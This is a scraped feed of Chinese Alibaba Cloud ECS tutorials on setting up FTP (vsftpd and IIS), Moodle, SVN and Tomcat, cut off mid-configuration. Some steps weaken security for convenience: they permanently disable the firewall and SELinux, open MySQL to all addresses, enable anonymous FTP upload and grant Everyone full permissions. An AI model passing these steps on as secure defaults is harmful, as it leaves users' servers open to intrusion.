        阿里云Linux 实例环境安装 PHPWind Fri, 02 May 2025 09:39:04 +0800 阿里云ECS SSH 密钥对介绍 Fri, 02 May 2025 09:39:04 +0800 阿里云使用 SSH 密钥对连接 ECS 实例 Fri, 02 May 2025 09:39:04 +0800 阿里云ECS 用户数据实践 Fri, 02 May 2025 09:39:04 +0800 阿里云ECS 用户数据实践]]> 阿里云ECS导入镜像实践 Fri, 02 May 2025 09:39:04 +0800 阿里云ECS 自定义镜像操作实践 Fri, 02 May 2025 09:39:04 +0800 阿里云挂载共享块存储到多个 ECS 实例 Fri, 02 May 2025 09:39:04 +0800 阿里云Windows ECS 实例挂载数据盘-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 云吞铺子之三分钟教您做网站-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 云吞铺子之Windows系统的排查思路-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        云吞铺子之Windows系统的排查思路-阿里云-上云就上阿里云



        此次的云吞铺子视频更不简单了,我们依然请来了阿里云的技术高手江冉同学。江冉同学结合案例逐一分析如何排查 Windows 实例故障,通过用户沟通、问题定位以及日志分析几个步骤深度剖析排查思路。

        ]]>
        云吞铺子之如何衡量Windows实例的磁盘性能-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        云吞铺子之如何衡量Windows实例的磁盘性能-阿里云-上云就上阿里云



        此次的云吞铺子视频不简单了,我们请来了阿里云的技术高手江冉同学,特地给小伙伴们讲讲如何衡量 Windows 实例的磁盘性能。

        ]]>
        云吞铺子之如何配置安全组-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 云吞铺子之如何配置安全组-阿里云-上云就上阿里云



        安全组是一种虚拟防火墙,控制云服务器 ECS 的出站和入站流量。

        此次的云吞铺子视频将带您了解如何配置安全组。

        ]]>
        阿里云小助手系列之如何使用迁云工具-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        小助手系列之如何使用迁云工具-阿里云-上云就上阿里云



        本次视频介绍如何使用 迁云工具 将您的业务转移到阿里云。借助阿里云的云计算实力,您可以轻松应对业务增长所需要考虑的基础建设。

        请跟随小助手,一起去看看如何使用迁云工具吧。


        ]]>
        阿里云小助手系列之如何远程连接 Windows 实例-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        小助手系列之如何远程连接 Windows 实例-阿里云-上云就上阿里云

        本次视频介绍如何远程连接并登录 Windows 实例。远程连接登录 Windows 实例的方式多种多样,比如通过:

        • 管理终端(排查故障的万能工具)
        • 用户名和密码(使用率最高的登录方式)
        • 还有轻巧灵便的手机客户端

        请跟着小助手,一起去看看如何在 Windows 系统自带的远程桌面工具(MSTSC)里使用用户名和密码远程连接 Windows 实例吧!

        ]]>
        阿里云小助手系列之如何远程连接 Linux 实例-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 小助手系列之如何远程连接 Linux 实例-阿里云-上云就上阿里云

        本视频介绍如何远程连接并登录 Linux 实例。远程连接登录 Linux 实例的方式多种多样,比如通过:

        • 管理终端(排查故障的万能工具)
        • 用户名和密码(使用率最高的登录方式)
        • SSH 密钥对验证(黑客最难攻破的登录方式)
        • 还有轻巧灵便的手机客户端

        请跟随视频小助手,一起去看看如何在 PuTTY 里使用用户名和密码远程连接 Linux 实例吧!

        ]]>
        阿里云小助手系列之如何使用安全组-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 小助手系列之如何使用安全组-阿里云-上云就上阿里云 ]]> ECS 经典网络与专有网络 VPC 特点介绍-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800

        ECS 经典网络与专有网络 VPC 特点介绍-阿里云-上云就上阿里云



        ]]>
        小筋斗 平步青云篇-阿里云-上云就上阿里云 Fri, 02 May 2025 09:39:04 +0800 小筋斗 平步青云篇-阿里云-上云就上阿里云 ]]> 小筋斗 成功上云篇-阿里云 Fri, 02 May 2025 09:39:04 +0800 Linux实例搭建FTP站点-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 Linux实例搭建FTP站点-阿里云ECS



        vsftpd 是 Linux 下的一款小巧轻快、安全易用的 FTP 服务器软件,是一款在各个 Linux 发行版中最受推崇的 FTP 服务器软件。本文以 CentOS 7.2 64位操作系统为例,说明如何在 Linux 实例上安装 vsftpd。

        Linux 实例搭建 FTP 站点具体操作步骤如下:

        • 步骤一: 安装 vsftpd
        • 步骤二: 配置 vsftpd
        • 步骤三: 设置安全组
        • 步骤四: 客户端测试

        步骤一: 安装 vsftpd

        1. 远程连接 并登录到 Linux 实例。
        2. 运行以下命令安装 vsftpd。
          yum install -y vsftpd

          阿里云使用小妙招

          出现下图表示安装成功。


          阿里云使用小妙招
        3. 运行以下命令打开及查看 etc/vsftpd
          cd /etc/vsftpd ls

          阿里云使用小妙招
          说明
          • /etc/vsftpd/vsftpd.conf 是核心配置文件。
          • /etc/vsftpd/ftpusers 是黑名单文件,此文件里的用户不允许访问 FTP 服务器。
          • /etc/vsftpd/user_list 是白名单文件,是允许访问 FTP 服务器的用户列表。
        4. 运行以下命令设置开机自启动。
          systemctl enable vsftpd.service
        5. 运行以下命令启动 FTP 服务。
          systemctl start vsftpd.service
        6. 运行以下命令查看 FTP 服务端口。
          netstat -antup | grep ftp

          阿里云使用小妙招

        步骤二: 配置 vsftpd

        vsftpd 安装后默认开启了匿名 FTP 的功能,使用匿名 FTP,用户无需输入用户名密码即可登录 FTP 服务器,但没有权限修改或上传文件。

        文本介绍了以下几个配置 vsftpd 的方法以及相关的参数说明,您可以根据具体需要进行参考。

        • 配置匿名用户上传文件权限
        • 配置本地用户登录
        • vsftpd.conf 的配置文件参数说明
        配置匿名用户上传文件权限

        修改 vsftpd.conf 的配置文件的选项,可以赋予匿名 FTP 更多的权限。

        1. 修改 /etc/vsftpd/vsftpd.conf
          1. 运行 vim /etc/vsftpd/vsftpd.conf
          2. i 键进入编辑模式。
          3. 将写权限修改为 write_enable=YES
          4. 将匿名上传权限修改为 anon_upload_enable=YES
          5. Esc 键退出编辑模式,然后输入 :wq 保存并退出文件。
            阿里云使用小妙招
        2. 运行以下命令更改 /var/ftp/pub 目录的权限,为 FTP 用户添加写权限,并重新加载配置文件。
          chmod o+w /var/ftp/pub/ systemctl restart vsftpd.service

          阿里云使用小妙招
        配置本地用户登录

        本地用户登录就是指用户使用 Linux 操作系统中的用户账号和密码登录 FTP 服务器。

        vsftpd 安装后默只支持匿名 FTP 登录,用户如果试图使用 Linux 操作系统中的账号登录服务器,将会被 vsftpd 拒绝,但可以在 vsftpd 里配置用户账号和密码登录。具体步骤如下:

        1. 运行以下命令创建 ftptest 用户。
          useradd ftptest
        2. 运行以下命令修改 ftptest 用户密码。
          passwd ftptest

          阿里云使用小妙招
        3. 修改 /etc/vsftpd/vsftpd.conf
          1. 运行 vim /etc/vsftpd/vsftpd.conf
          2. 按键 i 进入编辑模式。
          3. 将是否允许匿名登录 FTP 的参数修改为 anonymous enable=NO
          4. 将是否允许本地用户登录 FTP 的参数修改为 local_enable=YES
          5. 按键 Esc 退出编辑模式,然后按键 :wq 保存并退出文件。
            阿里云使用小妙招
        4. 运行以下命令重新加载配置文件。
          systemctl restart vsftpd.service
        vsftpd.conf 的配置文件参数说明

        运行命令 cat /etc/vsftpd/vsftpd.conf 查看配置文件内容。

        用户登录控制:


        参数 说明
        anonymous_enable=YES 接受匿名用户
        no_anon_password=YES 匿名用户login时不询问口令
        anon_root=(none) 匿名用户主目录
        local_enable=YES 接受本地用户
        local_root=(none) 本地用户主目录

        用户权限控制:


        参数 说明
        write_enable=YES 可以上传(全局控制)
        local_umask=022 本地用户上传文件的umask
        file_open_mode=0666 上传文件的权限配合umask使用
        anon_upload_enable=NO 匿名用户可以上传
        anon_mkdir_write_enable=NO 匿名用户可以建目录
        anon_other_write_enable=NO 匿名用户修改删除
        chown_username=lightwiter 匿名上传文件所属用户名

        步骤三: 设置安全组

        搭建好 FTP 站点后,您需要在实例的安全组的入方向添加一条放行 FTP 端口的规则,具体步骤参见 添加安全组规则。

        步骤四: 客户端测试

        打开客户端的 计算机,在路径栏输入 ftp://服务器 IP 地址:FTP 端口(如果不填端口则默认访问21端口),例如:ftp://0.0.0.0:20。弹出输入用户名和密码的对话框表示配置成功,正确的输入用户名和密码后,即可对 FTP 文件进行相应权限的操作。

        说明 客户端使用此方法访问 FTP 站点时,需要对 IE 浏览器进行设置,才能打开 FTP 的文件夹。 打开 IE 浏览器,选择 设置 > Internet 选项 > 高级。勾选 启用 FTP 文件夹视图,取消勾选 使用被动 FTP

        阿里云使用小妙招

        后续操作

        您可以参考 安全加固方案 对 FTP 服务进行安全加固。


        如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务

        ]]>
        Windows实例搭建FTP站点-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 Windows实例搭建FTP站点-阿里云ECS



        本文介绍了如何使用 Windows 实例搭建 FTP 站点。此方法适用于 Windows Server 2008 及以上系统,本文以 Windows Server 2008 R2 为例。

        Windows 实例搭建 FTP 站点具体操作步骤如下:

        • 步骤一: 添加 IIS 以及 FTP 服务角色
        • 步骤二: 创建 FTP 用户名及密码
        • 步骤三: 设置共享文件的权限
        • 步骤四: 添加及设置 FTP 站点
        • 步骤五: 设置安全组及防火墙
        • 步骤六: 客户端测试

        步骤一: 添加 IIS 以及 FTP 服务角色

        在创建 FTP 站点前,首先需要安装 IIS 及 FTP 服务。

        1. 远程连接 并登录到 Windows 实例。
        2. 选择 开始 > 所有程序 > 管理工具 > 服务管理器
        3. 单击 角色,然后单击 添加角色
          阿里云使用小妙招
        4. 在弹出的对话框中,选择 下一步
        5. 选择 Web 服务器(IIS),然后单击 下一步
          阿里云使用小妙招
        6. 选择 IIS管理控制台 以及 FTP 服务器,选择 下一步,单击 安装
          阿里云使用小妙招

        步骤二: 创建 FTP 用户名及密码

        创建 Windows 用户名和密码,用于 FTP 使用。如果您希望匿名用户可以访问,此步可省略。

        1. 选择 开始 > 管理工具 > 服务器管理器
        2. 单击 配置 > 本地用户和组 > 用户,并在右侧空白处单击右键,再选择 添加用户,本文例子中 用户名 使用 ftptest。
          说明 密码必须包括大写字母、小写字母和数字。否则会显示无法通过密码策略。

          阿里云使用小妙招

        步骤三: 设置共享文件的权限

        您需要为在 FTP 站点共享给用户的文件夹设置访问以及修改等权限。

        1. 在服务器磁盘上创建一个供 FTP 使用的文件夹,右键单击文件夹,选择 属性
        2. 单击 安全,选择 Everyone,然后选择 编辑
          阿里云使用小妙招
        3. 选择 Everyone,然后根据需要,选择 Everyone 的权限,本文例子中允许所有权限。
          阿里云使用小妙招

        步骤四: 添加及设置 FTP 站点

        安装 FTP,设置好共享文件夹权限后,您需要创建 FTP 站点。

        1. 选择 开始 > 所有程序 > 管理工具 > Internet 信息服务(IIS)管理器
        2. 右键单击 网站,选择 添加 FTP 站点
          阿里云使用小妙招
        3. 在弹出的窗口,填写 FTP 站点名称与共享文件夹的物理路径,然后单击 下一步
        4. IP 地址默认选择 全部未分配。端口号可自行设置,FTP 默认端口号为 21。
        5. 选择 SSL 设置。
          • 允许:允许 FTP 服务器支持与客户端的非 SSL 和 SSL 连接。
          • 需要:需要对 FTP 服务器和客户端之间的通信进行 SSL 加密。
          • : 不需要 SSL 加密选择

          阿里云使用小妙招
        6. 选择要使用的一种或多种身份验证方法。
          • 匿名:允许任何仅提供用户名 anonymousftp 的用户访问内容。
          • 基本:需要用户提供有效用户名和密码才能访问内容。由于基本身份验证通过网络传输未加密的密码,因此请仅在清楚客户端和 FTP 服务器之间的连接是安全的情况下(例如,使用安全套接字层 (SSL) 时)使用此身份验证方法。
        7. 允许访问 列表中,选择以下选项之一:
          • 所有用户:所有用户(不论是匿名用户还是已标识的用户)均可访问相应内容。
          • 匿名用户:匿名用户可访问相应内容。
          • 指定角色或用户组:仅特定角色或用户组的成员才能访问相应内容。请在对应的框中键入角色或用户组。
          • 指定用户:仅指定用户才能访问相应内容。请在对应的框中键入用户名。
        8. 选择经过授权的用户的 读取写入 权限。然后单击 完成
          阿里云使用小妙招

        完成后可以看到搭建的 FTP 站点。


        阿里云使用小妙招

        步骤五: 设置安全组及防火墙

        搭建好 FTP 站点后,您需要在实例安全组的入方向添加一条放行 FTP 端口的规则,具体步骤参见 添加安全组规则,具体配置可以参见 安全组规则的典型应用。

        服务器防火墙默认放行 TCP 21 端口用于 FTP 服务。如果选用其他端口,您需要在防火墙中添加一条放行此端口的入站规则。

        具体方法参见 设置 ECS 实例远程连接防火墙。

        其他防火墙设置参见 微软官方文档。

        步骤六: 客户端测试

        打开客户端的 计算机,在路径栏输入 ftp://服务器 IP 地址:FTP 端口(如果不填端口则默认访问21端口),例如:ftp://0.0.0.0:20。弹出输入用户名和密码的对话框表示配置成功,正确的输入用户名和密码后,即可对 FTP 文件进行相应权限的操作。

        说明 客户端使用此方法访问 FTP 站点时,需要对 IE 浏览器进行设置,才能打开 FTP 的文件夹。 打开 IE 浏览器,选择 设置 > Internet选项 > 高级。勾选 启用 FTP 文件夹视图,取消勾选 使用被动 FTP

        阿里云使用小妙招

        后续操作

        您可以参考 安全加固方案 对 FTP 服务进行安全加固。

        如果您想基于 FTP 协议来管理存储在 OSS 上的文件,安装 OSS FTP。OSS FTP 接收普通 FTP 请求后,将对文件、文件夹的操作映射为对 OSS 的操作。


        如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        快速搭建 Moodle 课程管理系统-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 快速搭建 Moodle 课程管理系统-阿里云ECS



        Moodle 是一个开源课程管理系统,采用 PHP + MySQL 方式运行的自由开源软件,遵循 GNU 公共许可协议。世界各地教育工作者越来越喜欢使用 Moodle 为学生建立网上动态网站。Moodle 平台界面简单、精巧,您可以根据需要随时调整界面,增减内容。

        本文档介绍如何使用云市场的 moodle 网络教学平台(Centos 7.0 64位) 快速搭建 Moodle 课程管理系统。

        适用对象

        适用于要搭建 Moodle 课程管理系统的用户。

        操作流程

        1. 创建使用 Moodle 网络教学平台镜像的 ECS 实例。
        2. 远程连接 ECS 实例并查看权限。
        3. 安装 Moodle 课程管理系统。
        4. (可选)在服务器里绑定域名。
        前提条件
        • 您已经拥有一个阿里云账号。
        • 如果您希望用户通过域名访问您的站点,您应该已经有一个已备案的域名。如果域名没有备案,您购买ECS实例后到阿里云备案中心备案。备案地址为:https://beian.aliyun.com
        • 您已经明白 远程连接 Linux 实例的方法。这里假设您本地使用的是 Windows 操作系统,并使用 PuTTy.exe 远程连接 Linux ECS 实例。这里是 PuTTY 的下载地址:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
        创建 ECS 实例
        1. 在云市场中搜索 moodle 网络教学平台(Centos 7.0 64位),并进入镜像详情页。
        2. 在镜像详情页上,单击 立即购买,按提示步骤购买 ECS 实例。需要注意以下配置:
          • 网络类型:应选择 经典网络
          • 带宽:不能为 0 Mbps。
          • 付费方式:如果您的站点需要备案,应选择 包月套餐
          • 其他配置您可以按需选择。
        3. 登录 云服务器 ECS 管理控制台
        4. 在左侧导航栏里,单击 实例,进入 ECS 列表页。
        5. 选择所购 ECS 实例所在的地域,找到所购 ECS 实例,开始管理实例。您需要做以下操作:
          • IP 地址 列获取该实例的公网 IP 地址。
          • 确认 ECS 实例所在的安全组中 已经添加了以下几个安全组规则
            • SSH 远程连接 ECS 实例:

              网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
              公网 入方向 允许 SSH(22) 22/22 地址段访问 0.0.0.0/0 1
            • HTTP 访问 Web 服务器:

              网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
              公网 入方向 允许 HTTP(80) 80/80 地址段访问 0.0.0.0/0 1
            • 允许使用 FTP 上传或下载文件:

              网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
              公网 入方向 允许 自定义 TCP 20/21 地址段访问 0.0.0.0/0 1
            • 允许使用 MySQL:

              网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
              公网 入方向 允许 自定义 TCP 3306/3306 地址段访问 0.0.0.0/0 1
          • 使用 重置实例密码 功能设置 ECS 实例的登录密码。
            阿里云使用小妙招

        远程连接 ECS 实例并查看权限

        1. 远程连接到 ECS 实例
        2. 运行命令 cat default.pass 查看随机生成的数据库权限及 FTP 权限。
          阿里云使用小妙招
        安装 Moodle 系统

        安装 Moodle 系统需要知道以下 2 个地址:

        • 数据库的管理地址为:http://您的公网 IP 地址/phpmyadmin/
        • Moodle 的安装地址为:http://您的公网 IP 地址/install.php

        按以下步骤安装 Moodle 系统:

        1. 在浏览器地址栏里,输入 Moodle 的安装地址。
        2. 选择您想要的语言,选择后单击 向后。本示例中,选择 简体中文
          阿里云使用小妙招
        3. 确认路径 页面上,保持所有默认目录不变。单击 向后
          阿里云使用小妙招
        4. 选择数据库驱动 页面上,采用默认类型。单击 向后
          阿里云使用小妙招
        5. 设置数据库。其中:
          • 数据库主机:只能填 127.0.0.1
          • 数据库名数据用户名数据库密码 采用上述步骤中查得的 MySQL 权限信息。
          • 数据库服务端口:填写 3306。

            确认所有信息后,单击 向后


            阿里云使用小妙招
        6. 阅读并确认了解版权声明。单击 继续
        7. 下图中显示的是安装 Moodle 需要的一些组件,都已经部署好了。单击 继续 就可以安装系统。
          阿里云使用小妙招
        8. 当安装页面底部出现 继续 时,说明已经完成安装。单击 继续
          阿里云使用小妙招
        9. 按要求设置 Moodle 系统的登录信息后,单击 保存更改
          阿里云使用小妙招
          阿里云使用小妙招
        10. 安装完成,自动进入管理后台首页。
          阿里云使用小妙招
        绑定域名

        用户可以使用公网 IP 地址访问您的站点。如果您希望用户使用域名访问您的站点,您应先将您的域名解析到公网 IP 地址。

        如果需要在服务器里绑定域名,按以下步骤操作:

        1. 远程连接 Linux 实例后,输入命令 vim /etc/httpd/conf/httpd.conf 打开配置文件,找到 Servername 选项。
          阿里云使用小妙招
        2. localhost 改为 www.yourdomain.com 即可。其中,www.yourdomain.com 必须替换为您自己的域名。



        如果您遇到任何问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        搭建和使用SVN-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 搭建和使用SVN-阿里云ECS




        Subversion(SVN) 是一个开源的版本控制系統, 也就是说 Subversion 管理着随时间改变的数据。

        这些数据放置在一个中央资料档案库(repository) 中。这个档案库很像一个普通的文件服务器, 不过它会记住每一次文件的变动。这样您就可以把档案恢复到旧的版本, 或是浏览文件的变动历史。

        SVN 的一些概念

        • repository(源代码库):源代码统一存放的地方
        • Checkout(提取):当您手上没有源代码时,您需要从repository checkout一份源代码
        • Commit(提交):如果您已经修改了代码,您需要Commit到repository
        • Update(更新):当您已经Checkout了一份源代码,Update一下,您就可以与Repository上的源代码同步,您手上的代码就会有最新的变更

        日常开发过程其实就是这样的(假设您已经Checkout并且已经工作了几天):Update(获得最新的代码)—> 作出自己的修改并调试成功 —> Commit(大家就可以看到您的修改了)。

        如果您与同事同时修改了同一个文件,SVN可以合并你们的改动,实际上SVN管理源代码是以行为单位的,就是说你们只要不是修改了同一行程序,SVN都会自动合并两种修改。如果是同一行,SVN会提示文件Confict(冲突),需要手动确认。

        安装SVN

        您可以采用以下任一种方法安装SVN。

        使用SVN版本控制镜像

        您可以在云市场购买使用 SVN版本控制镜像 的ECS实例。

        创建了实例后,按以下步骤操作:

        1. 登录 ECS管理控制台
        2. 在左侧导航栏里,单击 实例
        3. 选择地域。
        4. 找到新创建的ECS实例,在 IP地址 列获取实例的公网IP地址。
        手动安装SVN

        本文以CentOS 7.2 64位系统为例,说明如何在CentOS 7.2上安装SVN。

        1. 远程连接Linux实例
        2. 运行以下命令安装SVN。
          yum install subversion
        3. 运行以下命令查看SVN版本。
          svnserve --version

          阿里云使用小妙招
        4. 按以下步骤创建版本库:
          1. 运行以下命令创建目录。
            mkdir /var/svn
          2. 依次运行以下命令创建版本库。
            cd /var/svn svnadmin create /var/svn/svnrepos
          3. 依次运行以下命令查看自动生成的版本库文件。
            cd svnrepos ls

            阿里云使用小妙招

            Subversion目录说明:

            • db目录:所有版本控制的数据存放文件。
            • hooks目录:放置hook脚本文件的目录。
            • locks目录:用来追踪存取文件库的客户端。
            • format文件:是一个文本文件,里面只放了一个整数,表示当前文件库配置的版本号。
            • conf目录:是这个仓库的配置文件(仓库的用户访问账号、权限等)。
          4. 运行命令 cd conf/ 进入conf目录(该SVN版本库配置文件)。返回结果如下:
            • authz:是权限控制文件。
            • passwd:是账号密码文件。
            • svnserve.conf:SVN服务配置文件。
          5. 按以下步骤设置账号密码:
            1. 运行 vi passwd
            2. i 键进入编辑模式。
            3. [users] 块中添加用户账号和密码,格式:账号=密码,比如示例中的suzhan = redhat(注意等号两端要有一个空格)。
            4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
              阿里云使用小妙招
          6. 按以下步骤设置权限:
            1. 运行 vi authz
            2. i 键进入编辑模式。
            3. 在末尾添加如下代码(其中,r表示读,w表示写):
              [/] suzhan=rw
            4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
              阿里云使用小妙招
          7. 按以下步骤修改svnserve.conf文件。
            1. 运行命令 vi svnserve.conf
            2. i 键进入编辑模式。
            3. 打开以下几个注释(注意每行不能以空格开始,等号两端要有一个空格):
              anon-access = read #匿名用户可读,您也可以设置 anon-access = none,不允许匿名用户访问。设置为 none,可以使日志日期正常显示 auth-access = write #授权用户可写 password-db = passwd #使用哪个文件作为账号文件 authz-db = authz #使用哪个文件作为权限文件 realm = /var/svn/svnrepos #认证空间名,版本库所在目录
            4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
              阿里云使用小妙招
          8. 运行以下命令启动SVN版本库。
            svnserve -d -r /var/svn/svnrepos
          9. 运行命令 ps -ef |grep svn 查看SVN服务是否开启。

            如果返回结果如下图所示,表示SVN服务已经开启。


            阿里云使用小妙招
        说明 运行以下命令停止SVN命令。
        killall svnserve

        添加安全组规则

        SVN服务的默认端口为TCP 3690。您需要登录 ECS管理控制台添加安全组规则 放行TCP 3690端口。

        在Windows上测试

        这部分说明如何从本地(Windows操作系统)访问ECS实例上安装的SVN服务。

        1. 在本地机器上安装 TortoiseSVN客户端
        2. 在您的本地项目文件夹(如示例中的C:KDR),右键空白处弹出菜单,选择 SVN检出
          阿里云使用小妙招
        3. 指定资源库URL,格式为 svn://实例公网IP地址/资源库名;指定 检出至目录(如本示例中的C:KDR);再单击 确定
          阿里云使用小妙招

          如果出现以图所示信息,表示检出成功。


          阿里云使用小妙招
        说明 第一次登录需要输入密码,一切以passwd文件里面的账户密码为主。

        修改并提交项目

        将项目下载到本地机器后,您可以在添加文件、修改文件、删除文件等。

        提交修改

        按以下步骤提交修改:

        1. 在项目文件空白处单击右键,选择 SVN提交
          阿里云使用小妙招
        2. 输入本次提交的版本更新信息(所作修改的注释)、勾选要提交的操作内容,单击 确定,即可把本机项目提交到SVN服务器资源库,覆盖掉资源库项目从而实现更新。
          说明
          • 如果发生提交冲突,即两人都提交修改,后提交者由于版本落后会提交失败。这时可以先备份自己的项目,从服务端下载最新的项目后,再将自己的项目覆盖到本地项目文件夹,最后SVN提交即可成功提交。
          • 假设您刚刚删掉了一个文件,这里就会显示如下截图所示信息。
            阿里云使用小妙招
        获取更新

        如果别人修改了SVN服务端资源库上的项目,您想下载最新的项目,则在本机项目文件空白处单击右键,选择 SVN更新,即可自动完成下载,并会提示所作的更新有哪些。

        说明 在原项目文件夹内选择SVN更新,会自动覆盖原有内容。我们建议您先备份,再更新,防止自己本来的项目内容丢失。
        SVN还原
        1. 打开一个文件夹,右键检出数据。
        2. 删掉数据。
        3. 根据您是否已经提交修改采取不同的操作:
          • 未提交时,右键单击空白处,选择 TortoiseSVN > SVN 还原
          • 已提交时,系统库里的数据也会得到同步,系统也会把它存的数据删掉。此时,您需要采取以下方法还原数据:
            1. 查看日志,确认删除了哪些文件。
              阿里云使用小妙招
            2. 将删掉的文件保存版本到删掉的位置。
              阿里云使用小妙招
        4. 打开原文件夹,选择 SVN提交,系统库里的数据就和这个文件同步了。




        如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。


        ]]>
        手动部署-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 手动部署-阿里云ECS



        本篇文档介绍如何手动在ECS实例上部署Java web项目。适用于刚开始使用阿里云进行建站的个人用户。

        项目配置

        本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

        • 操作系统:CentOS 7.4
        • Tomcat 版本:Tomcat 8.5.34
        • JDK 版本:JDK 1.8.0_191

        下载源代码

        1. 下载 Apache Tomcat。
          说明 源代码版本会不断升级。您可以在https://mirrors.aliyun.com/apache/tomcat/tomcat-8/获取合适的安装包地址。
        2. 下载 JDK
          1. 下载JDK安装压缩包jdk-8u191-linux-x64 .tar.gz:
            说明 直接用 wget命令在实例中下载JDK安装压缩包,在解压缩时会出错。您可以下载JDK安装压缩包,再上传到实例上。
          2. 登录 ECS管理控制台ECS 管理控制台。
          3. 在左边导航栏中,单击 实例,进入 ECS 实例列表页。
          4. 选择所购 ECS 实例所在的地域,找到已购的 ECS 实例,在 IP 地址 列获取该实例的公网 IP 地址。
          5. 在Winscp工具里用公网 IP 地址连接Linux实例,然后将下载好的JDK安装压缩包上传到Linux实例的根目录下。

        安装前准备

        1. 使用管理终端连接ECS实例。
        2. 关闭防火墙。

          输入systemctl status firewalld命令查看当前防火墙的状态。


          阿里云使用小妙招
          如果防火墙的状态参数是active,则防火墙为开启状态。如果防火墙的状态参数是inactive,则防火墙为关闭状态。如上图所示,此处防火墙为开启状态,需要运行如下命令关闭防火墙:
          • 如果您想临时关闭防火墙,输入命令systemctl stop firewalld
            说明 这只是暂时关闭防火墙,下次重启Linux后,防火墙还会开启。
          • 如果您想永久关闭防火墙,输入命令systemctl disable firewalld
            说明 您可参考firewalld官网信息来决定何时开启防火墙。
        3. 关闭SELinux。
          1. 运行getenforce命令查看当前SELinux的状态。如果显示Disabled,则SELinux为关闭状态。如果显示Enforcing,则SELinux为开启状态,运行如下命令关闭SELinux:
            • 如果您想临时关闭SELinux,输入命令setenforce 0
              说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux依旧会开启。
            • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled,按Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
              说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
          2. 重启系统使设置生效。
        4. 创建一般用户 www来运行Tomcat:
          useradd www 
        5. 创建网站根目录:
          mkdir -p /data/wwwroot/default 
        6. 将需要部署的Java Web项目文件WAR包上传到网站根目录下,然后将网站根目录下文件权限改为 www。本示例将直接在网站根目录下新建一个 Tomcat 测试页面:
          echo Tomcat test > /data/wwwroot/default/index.jsp
          chown -R www.www /data/wwwroot

        安装 JDK

        按以下步骤安装 JDK。

        1. 新建一个目录:
          mkdir /usr/java 
        2. 解压 jdk-8u191-linux-x64.tar.gz 到/usr/java
          chmod +x jdk-8u191-linux-x64.tar.gz
          tar xzf jdk-8u191-linux-x64.tar.gz -C /usr/java 
        3. 设置环境变量:
          1. 打开/etc/profile:vi /etc/profile
          2. 按下i 键进入编辑模式。
          3. 在/etc/profile 文件中添加以下信息:
            # set java environment export JAVA_HOME=/usr/java/jdk1.8.0_191 export CLASSPATH=$JAVA_HOME/lib/tools.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib export PATH=$JAVA_HOME/bin:$PATH
          4. 按下Esc键退出编辑模式,输入:wq保存并关闭文件。
        4. 加载环境变量: source /etc/profile
        5. 运行java -version命令,显示JDK版本信息时,表示 JDK 已经安装成功。
          阿里云使用小妙招

        安装 Apache Tomcat

        1. 依次运行以下命令解压apache-tomcat-8.5.34.tar.gz,重命名Tomcat目录,并设置用户权限。
          tar xzf apache-tomcat-8.5.34.tar.gz
          mv apache-tomcat-8.5.34 /usr/local/tomcat/
          chown -R www.www /usr/local/tomcat/
          /usr/local/tomcat/目录中:
          • bin:存放 Tomcat 的一些脚本文件,包含启动和关闭 Tomcat 服务脚本。
          • conf:存放 Tomcat 服务器的各种全局配置文件,其中最重要的是 server.xmlweb.xml
          • webapps:Tomcat 的主要 Web 发布目录,默认情况下把 Web 应用文件放于此目录。
          • logs:存放 Tomcat 执行时的日志文件。
        2. 配置server.xml文件:
          1. 切换到/usr/local/tomcat/conf/ 目录:cd /usr/local/tomcat/conf/
          2. 重命名server.xml 文件:mv server.xml server.xml_bk
          3. 创建一个新的server.xml 文件:
            1. 运行命令vi server.xml
            2. 按下i键进入编辑模式。
            3. 添加以下内容:
            <?xml version="1.0" encoding="UTF-8"?> <Server port="8006" shutdown="SHUTDOWN"> <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener"/> <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/> <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener"/> <Listener className="org.apache.catalina.core.AprLifecycleListener"/> <GlobalNamingResources> <Resource name="UserDatabase" auth="Container" type="org.apache.catalina.UserDatabase" description="User database that can be updated and saved" factory="org.apache.catalina.users.MemoryUserDatabaseFactory" pathname="conf/tomcat-users.xml"/> </GlobalNamingResources> <Service name="Catalina"> <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" maxThreads="1000" minSpareThreads="20" acceptCount="1000" maxHttpHeaderSize="65536" debug="0" disableUploadTimeout="true" useBodyEncodingForURI="true" enableLookups="false" URIEncoding="UTF-8"/> <Engine 